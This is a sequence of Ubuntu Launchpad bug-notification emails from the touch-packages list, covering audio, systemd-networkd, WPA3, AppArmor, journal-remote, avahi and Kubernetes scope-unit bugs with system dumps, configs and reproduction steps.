Bug description:
  Unable to get system speakers working running 19.04.  At max volume,
  sound is barely perceptible through headphones.  Pavucontrol shows
  sounds is present, but no amount of adjustments makes a difference.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 5.0.0-20.21-generic 5.0.8
  Uname: Linux 5.0.0-20-generic x86_64
  ApportVersion: 2.20.10-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  robert 3355 F pulseaudio
  CurrentDesktop: KDE
  Date: Fri Jun 28 00:44:13 2019
  InstallationDate: Installed on 2019-06-05 (22 days ago)
  InstallationMedia: Kubuntu 19.04 "Disco Dingo" - Release amd64 (20190416)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed
  Symptom_Card: Built-in Audio - HDA Intel PCH
  Symptom_Jack: Digital Out, HDMI
  Symptom_Type: None of the above
  Title: [930MBE, Intel Kabylake HDMI, Digital Out, HDMI] Playback problem
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 04/25/2019
  dmi.bios.vendor: American Megatrends Inc.
  dmi.bios.version: P02AHK.029.190425.PS
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: NP930MBE-K04US
  dmi.board.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.board.version: SGL9872A0S-C01-G001-S0001+10.0.17763
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 31
  dmi.chassis.vendor: SAMSUNG ELECTRONICS CO., LTD.
  dmi.chassis.version: N/A
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrP02AHK.029.190425.PS:bd04/25/2019:svnSAMSUNGELECTRONICSCO.,LTD.:pn930MBE:pvrP02AHK:rvnSAMSUNGELECTRONICSCO.,LTD.:rnNP930MBE-K04US:rvrSGL9872A0S-C01-G001-S0001+10.0.17763:cvnSAMSUNGELECTRONICSCO.,LTD.:ct31:cvrN/A:
  dmi.product.family: Notebook 9 Series
  dmi.product.name: 930MBE
  dmi.product.sku: SCAI-A5A5-A5A5-A5A5-PAHK
  dmi.product.version: P02AHK
  dmi.sys.vendor: SAMSUNG ELECTRONICS CO., LTD.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1834566/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1815101] Re: [master] Restarting systemd-networkd breaks keepalived, heartbeat, corosync, pacemaker (interface aliases are restarted)

[Rafael David Tinoco]

@ed,

I just finished the backport to Eoan it was straightforward, I'll finish
tests tomorrow with HA related software and networkd enabled HA
clusters. After that I'll give you a better estimation about Disco and
Bionic.

This is the total size of changes (systemd-networkd-tests.py is not so
great to backport, will review that):

$ cat *.patch | diffstat
 man/systemd.network.xml|   
27 +-
 src/network/networkd-dhcp4.c   |   
 8
 src/network/networkd-link.c|   
57 +-
 src/network/networkd-link.h|   
 2
 src/network/networkd-manager.c |   
 2
 src/network/networkd-network-gperf.gperf   |   
 3
 src/network/networkd-network.c |   
44 
 src/network/networkd-network.h |   
26 ++
 test/fuzz/fuzz-network-parser/directives.network   |   
 1
 test/test-network/conf/24-keep-configuration-static.network|   
 5
 test/test-network/conf/dhcp-client-keep-configuration-dhcp-on-stop.network |   
 4
 test/test-network/conf/dhcp-client-keep-configuration-dhcp.network |   
 7
 test/test-network/systemd-networkd-tests.py|   
94 +-
 13 files changed, 235 insertions(+), 45 deletions(-)

Good thing is that the logic is not drastically changed for this feature
to exist. Sorry for the delay here, because of freeze we were running to
close out some urgent issues for Eoan.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1815101

Title:
  [master] Restarting systemd-networkd breaks keepalived, heartbeat,
  corosync, pacemaker (interface aliases are restarted)

Status in Keepalived Charm:
  New
Status in netplan:
  Confirmed
Status in heartbeat package in Ubuntu:
  Triaged
Status in keepalived package in Ubuntu:
  In Progress
Status in systemd package in Ubuntu:
  In Progress
Status in heartbeat source package in Bionic:
  Triaged
Status in keepalived source package in Bionic:
  Confirmed
Status in systemd source package in Bionic:
  Confirmed
Status in heartbeat source package in Disco:
  Triaged
Status in keepalived source package in Disco:
  Confirmed
Status in systemd source package in Disco:
  Confirmed
Status in heartbeat source package in Eoan:
  Triaged
Status in keepalived source package in Eoan:
  In Progress
Status in systemd source package in Eoan:
  In Progress

Bug description:
  Configure netplan for interfaces, for example (a working config with
  IP addresses obfuscated)

  network:
  ethernets:
  eth0:
  addresses: [192.168.0.5/24]
  dhcp4: false
  nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
addresses: [10.22.11.1]
  eth2:
  addresses:
- 12.13.14.18/29
- 12.13.14.19/29
  gateway4: 12.13.14.17
  dhcp4: false
  nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
addresses: [10.22.11.1]
  eth3:
  addresses: [10.22.11.6/24]
  dhcp4: false
  nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
addresses: [10.22.11.1]
  eth4:
  addresses: [10.22.14.6/24]
  dhcp4: false
  nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
addresses: [10.22.11.1]
  eth7:
  addresses: [9.5.17.34/29]
  dhcp4: false
  optional: true
  nameservers:
search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
addresses: [10.22.11.1]
  version: 2

  Configure keepalived (again, a working config with IP addresses
  obfuscated)

  global_defs   # Block id
  {
  notification_email {
  sysadm...@blah.com
  }
  notification_email_from keepali...@system3.hq.blah.com
  smtp_server 10.22.11.7 # IP
  smtp_connect_timeout 30  # integer, seconds
  router_id system3  # string identifying the machine,
   # (doesn't have to be hostname).
  vrrp_mcast_group4 224.0.0.18 # optional, default 224.0.0.18
  vrrp_mcast_group6 ff02::12   # optional, default ff02::12
  enable_traps # enable SNMP traps
  }
  vrrp_sync_group collection {
  

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Teunis Peters]

Fixing PMF would be much higher priority than fixing SAE ;)
it's pretty important that behaves properly.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

  ==
  Update 09-10-2019:
  So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

  Without this latest commit connecting to WPA3-personal networks will
  still fail because of a lack of 802.11w support in the network-manager
  settings.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847536] [NEW] systemd 240-6ubuntu5.7 ADT test failure with linux-oracle 5.0.0-1004.8

[Khaled El Mously]

Public bug reported:

Testing failed on:
amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-disco/disco/amd64/s/systemd/20191009_032712_a8451@/log.gz

** Affects: systemd (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: kernel-adt-failure

** Tags added: kernel-adt-failure

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847536

Title:
  systemd 240-6ubuntu5.7 ADT test failure with linux-oracle 5.0.0-1004.8

Status in systemd package in Ubuntu:
  New

Bug description:
  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-disco/disco/amd64/s/systemd/20191009_032712_a8451@/log.gz

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1847536/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1571531] Re: cupsd cause apparmor denials for /etc/ld.so.preload

[Ian Johnson]

I don't think we have such a capability right now in snapd. If you
locally modify the snap-confine profile, it will be rewritten on at
least core refreshes (and reboots as well if I'm not mistaken), so it
sounds like we need some mechanism to specify additional rules to be
included in the snap-confine profile.

** Changed in: snapd (Ubuntu)
   Status: New => Triaged

** Changed in: snapd (Ubuntu)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1571531

Title:
  cupsd cause apparmor denials for /etc/ld.so.preload

Status in apparmor package in Ubuntu:
  New
Status in snapd package in Ubuntu:
  Triaged

Bug description:
  There is a constant flood of messages in dmesg:

  [ 4431.638163] audit: type=1400 audit(1460962510.272:60): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10559 
comm="cupsd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
  [ 4431.661208] audit: type=1400 audit(1460962510.296:61): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10564 
comm="cups-exec" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
  [ 4431.661390] audit: type=1400 audit(1460962510.296:62): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10565 
comm="cups-exec" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
  [ 4431.661759] audit: type=1400 audit(1460962510.296:63): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10564 
comm="dbus" requested_mask="r" denied_mask="r" fsuid=7 ouid=0
  [ 4431.661936] audit: type=1400 audit(1460962510.296:64): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10566 
comm="cups-exec" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
  [ 4431.661937] audit: type=1400 audit(1460962510.296:65): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10565 
comm="dbus" requested_mask="r" denied_mask="r" fsuid=7 ouid=0
  [ 4431.662534] audit: type=1400 audit(1460962510.296:66): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10566 
comm="dbus" requested_mask="r" denied_mask="r" fsuid=7 ouid=0
  [ 5081.410342] audit: type=1400 audit(1460963160.033:67): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10810 
comm="cupsd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
  [ 5081.446507] audit: type=1400 audit(1460963160.069:68): apparmor="DENIED" 
operation="open" profile="/usr/sbin/cupsd" name="/etc/ld.so.preload" pid=10815 
comm="cups-exec" requested_mask="r" denied_mask="r" fsuid=0 ouid=0

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: cups-daemon 2.1.3-4
  ProcVersionSignature: Ubuntu 4.4.0-18.34-generic 4.4.6
  Uname: Linux 4.4.0-18-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  CupsErrorLog:
   
  CurrentDesktop: X-Cinnamon
  Date: Mon Apr 18 10:56:37 2016
  EcryptfsInUse: Yes
  InstallationDate: Installed on 2013-07-19 (1003 days ago)
  InstallationMedia: Xubuntu 13.04 "Raring Ringtail" - Release i386 (20130423.1)
  Lpstat: device for Generic-PCL-5e: socket://192.168.1.100:9100
  MachineType: LENOVO 4298R86
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/Generic-PCL-5e.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/Generic-PCL-5e.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-18-generic 
root=UUID=3d4ce850-6e8a-4cf5-9b82-fb135c22fe1e ro
  SourcePackage: cups
  UpgradeStatus: Upgraded to xenial on 2015-10-29 (171 days ago)
  dmi.bios.date: 12/01/2011
  dmi.bios.vendor: LENOVO
  dmi.bios.version: 8DET56WW (1.26 )
  dmi.board.asset.tag: Not Available
  dmi.board.name: 4298R86
  dmi.board.vendor: LENOVO
  dmi.board.version: Not Available
  dmi.chassis.asset.tag: No Asset Information
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Not Available
  dmi.modalias: 
dmi:bvnLENOVO:bvr8DET56WW(1.26):bd12/01/2011:svnLENOVO:pn4298R86:pvrThinkPadX220Tablet:rvnLENOVO:rn4298R86:rvrNotAvailable:cvnLENOVO:ct10:cvrNotAvailable:
  dmi.product.name: 4298R86
  dmi.product.version: ThinkPad X220 Tablet
  dmi.sys.vendor: LENOVO
  modified.conffile..etc.default.cups:
   # Cups configure options
   
   # LOAD_LP_MODULE: enable/disable to load "lp" parallel printer driver module
   # LOAD_LP_MODULE has migrated to /etc/modules-load.d/cups-filters.conf
   # LOAD_LP_MODULE=yes
  mtime.conffile..etc.default.cups: 2014-03-12T15:11:15.740184

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1571531/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : http

[Touch-packages] [Bug 1847527] Re: Backport systemd-journal-remote fix PR #11953

[Tom Cameron]

For those that may try to search for this bug in the future, the error I
received was

Error 411: gth required

The issue is that libmicrohttpd exhibits a bug when Content-Length is
omitted, even if Transfer-Encoding is set to "chunked". The HTTP/1.1
spec allows Content-Length to be omitted when the length is unknown as
long as Transfer-Encoding: Chunked is specified. The proper behavior
would be for journald to return an error to the client when it has
received too much data.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847527

Title:
  Backport systemd-journal-remote fix PR #11953

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  New

Bug description:
  I'm requesting that systemd 240 receive the fix in upstream PR 11953
  found here https://github.com/systemd/systemd/pull/11953

  This fixes remote journal shipping using systemd components. I believe
  only Disco (19.04) is impacted by this issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1847527/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847527] [NEW] Backport systemd-journal-remote fix PR #11953

[Tom Cameron]

Public bug reported:

I'm requesting that systemd 240 receive the fix in upstream PR 11953
found here https://github.com/systemd/systemd/pull/11953

This fixes remote journal shipping using systemd components. I believe
only Disco (19.04) is impacted by this issue.

** Affects: systemd
 Importance: Unknown
 Status: Unknown

** Affects: systemd (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: disco

** Bug watch added: github.com/systemd/systemd/issues #11571
   https://github.com/systemd/systemd/issues/11571

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/11571
   Importance: Unknown
   Status: Unknown

** Summary changed:

- Backport journal-remote fix PR #11953
+ Backport systemd-journal-remote fix PR #11953

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847527

Title:
  Backport systemd-journal-remote fix PR #11953

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  New

Bug description:
  I'm requesting that systemd 240 receive the fix in upstream PR 11953
  found here https://github.com/systemd/systemd/pull/11953

  This fixes remote journal shipping using systemd components. I believe
  only Disco (19.04) is impacted by this issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1847527/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1820584] Re: seahorse assert failure: seahorse: glib-watch.c:195: timeout_update: Assertion `!t->dead' failed.

[Sebastien Bacher]

looks like the assert in in libavahi

** Information type changed from Private to Public

** Package changed: seahorse (Ubuntu) => avahi (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to avahi in Ubuntu.
https://bugs.launchpad.net/bugs/1820584

Title:
  seahorse assert failure: seahorse: glib-watch.c:195: timeout_update:
  Assertion `!t->dead' failed.

Status in avahi package in Ubuntu:
  Confirmed

Bug description:
  -
  Description:  Ubuntu Disco Dingo (development branch)
  Release:  19.04
  -
  seahorse:
Installed: 3.32-1
Candidate: 3.32-1
Version table:
   *** 3.32-1 500
  500 http://br.archive.ubuntu.com/ubuntu disco/main amd64 Packages
  100 /var/lib/dpkg/status
  -

  I have absolutely no idea why or how. Just collected this report from
  apport-cli.

  Some times receiving "internal error" reports, no details provided,
  just "Cancel" or "Send report" options. So, I decided to check apport
  and there was this report.

  ProblemType: Crash
  DistroRelease: Ubuntu 19.04
  Package: seahorse 3.32-1
  ProcVersionSignature: Ubuntu 5.0.0-7.8-generic 5.0.0
  Uname: Linux 5.0.0-7-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.10-0ubuntu23
  Architecture: amd64
  AssertionMessage: seahorse: glib-watch.c:195: timeout_update: Assertion 
`!t->dead' failed.
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Mar 17 18:09:01 2019
  ExecutablePath: /usr/bin/seahorse
  InstallationDate: Installed on 2019-03-17 (0 days ago)
  InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Alpha amd64 (20190316)
  ProcCmdline: /usr/bin/seahorse --gapplication-service
  Signal: 6
  SourcePackage: seahorse
  StacktraceTop:
   __assert_fail_base (fmt=0x7f733ae49588 "%s%s%s:%u: %s%sAssertion `%s' 
failed.\n%n", assertion=0x7f733aecf02d "!t->dead", file=0x7f733aecf000 
"glib-watch.c", line=195, function=) at assert.c:92
   __GI___assert_fail (assertion=0x7f733aecf02d "!t->dead", file=0x7f733aecf000 
"glib-watch.c", line=195, function=0x7f733aecf1d8 "timeout_update") at 
assert.c:101
   ?? () from /lib/x86_64-linux-gnu/libavahi-glib.so.1
   ?? () from /lib/x86_64-linux-gnu/libavahi-client.so.3
   ?? () from /lib/x86_64-linux-gnu/libavahi-glib.so.1
  Title: seahorse assert failure: seahorse: glib-watch.c:195: timeout_update: 
Assertion `!t->dead' failed.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  separator:

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/avahi/+bug/1820584/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1820584] [NEW] seahorse assert failure: seahorse: glib-watch.c:195: timeout_update: Assertion `!t->dead' failed.

[Launchpad Bug Tracker]

You have been subscribed to a public bug:

-
Description:Ubuntu Disco Dingo (development branch)
Release:19.04
-
seahorse:
  Installed: 3.32-1
  Candidate: 3.32-1
  Version table:
 *** 3.32-1 500
500 http://br.archive.ubuntu.com/ubuntu disco/main amd64 Packages
100 /var/lib/dpkg/status
-

I have absolutely no idea why or how. Just collected this report from
apport-cli.

Some times receiving "internal error" reports, no details provided, just
"Cancel" or "Send report" options. So, I decided to check apport and
there was this report.

ProblemType: Crash
DistroRelease: Ubuntu 19.04
Package: seahorse 3.32-1
ProcVersionSignature: Ubuntu 5.0.0-7.8-generic 5.0.0
Uname: Linux 5.0.0-7-generic x86_64
NonfreeKernelModules: nvidia_modeset nvidia
ApportVersion: 2.20.10-0ubuntu23
Architecture: amd64
AssertionMessage: seahorse: glib-watch.c:195: timeout_update: Assertion 
`!t->dead' failed.
CurrentDesktop: ubuntu:GNOME
Date: Sun Mar 17 18:09:01 2019
ExecutablePath: /usr/bin/seahorse
InstallationDate: Installed on 2019-03-17 (0 days ago)
InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Alpha amd64 (20190316)
ProcCmdline: /usr/bin/seahorse --gapplication-service
Signal: 6
SourcePackage: seahorse
StacktraceTop:
 __assert_fail_base (fmt=0x7f733ae49588 "%s%s%s:%u: %s%sAssertion `%s' 
failed.\n%n", assertion=0x7f733aecf02d "!t->dead", file=0x7f733aecf000 
"glib-watch.c", line=195, function=) at assert.c:92
 __GI___assert_fail (assertion=0x7f733aecf02d "!t->dead", file=0x7f733aecf000 
"glib-watch.c", line=195, function=0x7f733aecf1d8 "timeout_update") at 
assert.c:101
 ?? () from /lib/x86_64-linux-gnu/libavahi-glib.so.1
 ?? () from /lib/x86_64-linux-gnu/libavahi-client.so.3
 ?? () from /lib/x86_64-linux-gnu/libavahi-glib.so.1
Title: seahorse assert failure: seahorse: glib-watch.c:195: timeout_update: 
Assertion `!t->dead' failed.
UpgradeStatus: No upgrade log present (probably fresh install)
UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
separator:

** Affects: avahi (Ubuntu)
 Importance: Medium
 Status: Confirmed


** Tags: amd64 apport-crash disco
-- 
seahorse assert failure: seahorse: glib-watch.c:195: timeout_update: Assertion 
`!t->dead' failed.
https://bugs.launchpad.net/bugs/1820584
You received this bug notification because you are a member of Ubuntu Touch 
seeded packages, which is subscribed to avahi in Ubuntu.

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Giraffe]

@teunis,

The point is NM (when setting WPA3-Personal as the security protocol)
will ALWAYS pass "ieee80211w=0"  this is NOT configurable on the client
even when setting PMF=2 in the config file.

The latest commit fixes this problem and thus is kind of important to
achieving the goal as set out in this bug.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to network-manager in Ubuntu.
https://bugs.launchpad.net/bugs/1844422

Title:
  WPA3-SAE support

Status in gnome-shell package in Ubuntu:
  Triaged
Status in network-manager package in Ubuntu:
  Incomplete

Bug description:
  After some user feedback WPA3 support for NetworkManager has been
  finalized upstream:

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e1608030c6614d8dfd86122e9df81fdaad9453c9

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/84a86ce55f1e70cb32217d2c74242ff848db8cd7

  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/merge_requests/276/diffs?commit_id=8d4497088fff562773b9c05260e810833bfc9c85

  At this time NetworkManager will not associate with Wifi-networks using WPA3.
  Tested using Ubuntu Ubuntu Eoan Ermine [development branch] with 
NetworkManager 1.20.2-1ubuntu1 and WPA_Supplicant 2:2.9-1ubuntu1.

  It would be great if the aforementioned commits where backported to
  Eoan before release, so that Eoan based systems will associate with
  WiFi-networks using WPA3.

  ==
  Update 09-10-2019:
  So it has come to my attention that NetworkManager needs one additional 
commit backported from upstream to make WPA3-SAE work:
  
https://gitlab.freedesktop.org/NetworkManager/NetworkManager/commit/e36c297fd8c6b1b57cd120739cc5ee8eab57aa08

  Without this latest commit connecting to WPA3-personal networks will
  still fail because of a lack of 802.11w support in the network-manager
  settings.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1844422/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847512] Re: xenial: leftover scope units for Kubernetes transient mounts

[Mauricio Faria de Oliveira]

*** This bug is a duplicate of bug 1846787 ***
https://bugs.launchpad.net/bugs/1846787

Marking this bug as a duplicate of bug 1846787 for the systemd fix.

** This bug has been marked a duplicate of bug 1846787
   systemd-logind leaves leftover sessions and scope files

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1847512

Title:
  xenial: leftover scope units for Kubernetes transient mounts

Status in systemd package in Ubuntu:
  Invalid
Status in systemd source package in Xenial:
  In Progress

Bug description:
  [Impact]

  When running Kubernetes on Xenial there's a leftover scope unit
  for the transient mounts used by a pod (eg, secret volume mount)
  together with its associate cgroup dirs, after the pod completes,
  almost every time such pod is created:

  $ systemctl list-units --type=scope | grep 'Kubernetes transient mount 
for'
  run-r560fcf858630417780c258c55fa21c8b.scope loaded active running 
Kubernetes transient mount for 
/var/snap/microk8s/common/var/lib/kubelet/pods/(...)/volumes/kubernetes.io~secret/(...)

  
/sys/fs/cgroup/devices/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/pids/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/blkio/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/memory/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/cpu,cpuacct/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope
  
/sys/fs/cgroup/systemd/system.slice/run-r560fcf858630417780c258c55fa21c8b.scope

  This problem becomes noticeable with Kubernetes CronJobs as time
  goes by, as it repeatedly recreates pods to run the cronjob task.

  Over time, the leftover units (and associated cgroup directories)
  pile up to a significant amount, and start to cause problems for
  other components, with effects on /sys/fs/cgroup/ scanning:

  - Kubelet CPU/Memory Usage linearly increases using CronJob [1]

  and systemd commands time out, breaking things like Ansible:

  - failed: [...] (item=apt-daily-upgrade.service) => {[...]
    "msg": "Unable to disable service apt-daily-upgrade.service:
    Failed to execute operation: Connection timed out\n"}

  The problem seems to be related to empty cgroup notification
  on the legacy/classic hierarchy; it doesn't happen on hybrid
  or unified hierarchies.

  The fix is upstream systemd commit d8fdc62037b5 ("core: use
  an AF_UNIX/SOCK_DGRAM socket for cgroup agent notification").

  That patch is already in progress/review in bug 1846787 [2],
  and is present on Bionic and later, only Xenial is required.

  [Test Case]

  Create K8s pods with secret volume mounts (example below)
  on Xenial/4.15 kernel, and check this after it completes:

  $ sudo systemctl list-units --type=scope | grep 'Kubernetes
  transient mount for'

  (With the fix applied, there are zero units reported -- see
  comment #1)

  Steps:
  -

  Create a Xenial VM:

  $ uvt-simplestreams-libvirt sync release=xenial arch=amd64
  $ uvt-kvm create --memory 8192 --cpu 8 --disk 8 vm-xenial release=xenial 
arch=amd64

  Install the HWE/4.15 kernel and MicroK8s on it:

  $ uvt-kvm wait vm-xenial
  $ uvt-kvm ssh vm-xenial

  $ sudo apt update
  $ sudo apt install linux-image-4.15.0-65-generic
  $ sudo reboot

  $ uvt-kvm wait vm-xenial
  $ uvt-kvm ssh vm-xenial

  $ sudo snap install microk8s --channel=1.16/stable --classic
  $ sudo snap alias microk8s.kubectl kubectl
  $ sudo usermod -a -G microk8s $USER
  $ exit

  Check package versions:

  $ uvt-kvm ssh vm-xenial

  $ lsb_release -cs
  xenial

  $ uname -rv
  4.15.0-65-generic #74~16.04.1-Ubuntu SMP Wed Sep 18 09:51:44 UTC 2019

  $ snap list microk8s
  Name  Version  Rev  Tracking  Publisher   Notes
  microk8s  v1.16.0  920  1.16  canonical✓  classic

  $ dpkg -s systemd | grep ^Version:
  Version: 229-4ubuntu21.22

  Create a pod with a secret/volume:

  $ cat < pod-with-secret.yaml
  apiVersion: v1
  kind: Pod
  metadata:
    name: pod-with-secret
  spec:
    containers:
    - name: container
  image: debian:stretch
  args: ["/bin/true"]
  volumeMounts:
  - name: secret
    mountPath: /secret
    volumes:
    - name: secret
  secret:
    secretName: secret-for-pod
    restartPolicy: Never
  EOF

  $ kubectl create secret generic secret-for-pod --from-
  literal=key=value

  Notice it leaves a transient scope unit running even after
  complete:

  $ systemctl list-units --type=scope | grep 'Kubernetes transient mount 
for'
  $

  $ kubectl create -f pod-with-secret.yaml

  $ kubectl get pods
  NAME  RE

[Touch-packages] [Bug 1844422] Re: WPA3-SAE support

[Teunis Peters]

PMF is controlled from AP side over which - mine is always PMF required with 
